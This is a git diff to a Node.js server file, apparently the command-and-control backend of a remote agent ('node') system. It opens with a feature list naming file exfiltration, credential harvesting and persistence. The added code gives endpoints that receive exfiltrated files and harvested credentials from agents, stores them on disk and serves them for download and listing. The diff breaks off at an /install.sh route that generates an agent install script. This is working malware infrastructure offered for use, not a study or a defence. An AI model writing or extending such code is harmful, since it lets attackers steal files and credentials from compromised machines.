+
File exfiltration, screenshot capture, credential harvesting, persistence.
+
+
+
+
+
+
+
+
Network Interface Cards & Active Established Connections.
diff --git a/server.js b/server.js
index c2e4c98..00da860 100644
--- a/server.js
+++ b/server.js
@@ -5,6 +5,7 @@ const path = require('path');
const cors = require('cors');
const os = require('os');
const multer = require('multer');
+const fs = require('fs');
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
@@ -13,10 +14,14 @@ const server = http.createServer(app);
const wss = new WebSocket.Server({ server });
const PORT = process.env.PORT || 3000;
-const PUBLIC_URL = process.env.PUBLIC_URL || null; // e.g. https://agent.thetempleofdoom.com
+const PUBLIC_URL = process.env.PUBLIC_URL || null;
+const DATA_DIR = path.join(__dirname, 'data');
+
+// Ensure data directory exists
+if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
app.use(cors());
-app.use(express.json({ limit: '10mb' }));
+app.use(express.json({ limit: '50mb' }));
app.use(express.static(path.join(__dirname, 'public')));
function getLocalIp() {
@@ -39,6 +44,34 @@ const commandHistory = [];
const masterSystemLogs = [];
const inputDataStore = [];
const MAX_INPUT_STORE = 500;
+const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp }
+const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
+
+// ── Persistence ──
+function saveData() {
+ try {
+ fs.writeFileSync(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
+ fs.writeFileSync(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
+ fs.writeFileSync(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
+ fs.writeFileSync(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
+ fs.writeFileSync(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
+ } catch(e) { /* silent */ }
+}
+
+function loadData() {
+ try {
+ const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]');
+ nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); });
+ commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]')));
+ masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]')));
+ inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]')));
+ harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]')));
+ } catch(e) { /* first run */ }
+}
+loadData();
+
+// Auto-save every 30 seconds
+setInterval(saveData, 30000);
setInterval(() => {
const now = Date.now();
@@ -55,6 +88,7 @@ setInterval(() => {
}, 5000);
function broadcastState() {
+ saveData(); // Persist on every state change
const payload = JSON.stringify({
type: 'NODES_UPDATE',
serverIp: SERVER_IP,
@@ -520,6 +554,75 @@ app.post('/api/nodes/:id/ping', (req, res) => {
res.json({ success: true, commandId: cmdId });
});
+// ── File Exfiltration — agent sends file back ──
+app.post('/api/agent/file-result', (req, res) => {
+ const { commandId, nodeId, hostname, filename, data, mime, error } = req.body;
+ const entry = commandHistory.find(c => c.id === commandId);
+ if (entry) {
+ entry.status = error ? 'failed' : 'completed';
+ entry.completedAt = Date.now();
+ if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`;
+ else entry.output = `[FILE ERROR] ${error}`;
+ }
+ if (!error && data) {
+ const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
+ exfiltratedFiles.set(fileId, {
+ nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
+ timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
+ });
+ }
+ broadcastState();
+ res.json({ success: true });
+});
+
+// ── Download exfiltrated file ──
+app.get('/api/files/:id', (req, res) => {
+ const file = exfiltratedFiles.get(req.params.id);
+ if (!file) return res.status(404).json({ error: 'File not found' });
+ const buf = Buffer.from(file.data, 'base64');
+ res.setHeader('Content-Type', file.mime);
+ res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`);
+ res.send(buf);
+});
+
+// ── List exfiltrated files ──
+app.get('/api/files', (req, res) => {
+ res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({
+ id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename,
+ mime: f.mime, size: f.size, timestamp: f.timestamp
+ })));
+});
+
+// ── Credential Harvest Result ──
+app.post('/api/agent/harvest-result', (req, res) => {
+ const { commandId, nodeId, hostname, credentials, error } = req.body;
+ const entry = commandHistory.find(c => c.id === commandId);
+ if (entry) {
+ entry.status = error ? 'failed' : 'completed';
+ entry.completedAt = Date.now();
+ entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`;
+ }
+ if (credentials && Array.isArray(credentials)) {
+ credentials.forEach(c => {
+ harvestedCredentials.push({
+ nodeId, hostname, type: c.type || 'unknown', data: c.data,
+ timestamp: Date.now()
+ });
+ });
+ if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
+ }
+ broadcastState();
+ res.json({ success: true });
+});
+
+// ── List harvested credentials ──
+app.get('/api/credentials', (req, res) => {
+ const { nodeId } = req.query;
+ let filtered = harvestedCredentials;
+ if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId);
+ res.json(filtered.slice(-200));
+});
+
app.get('/install.sh', (req, res) => {
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
const script = `#!/bin/bash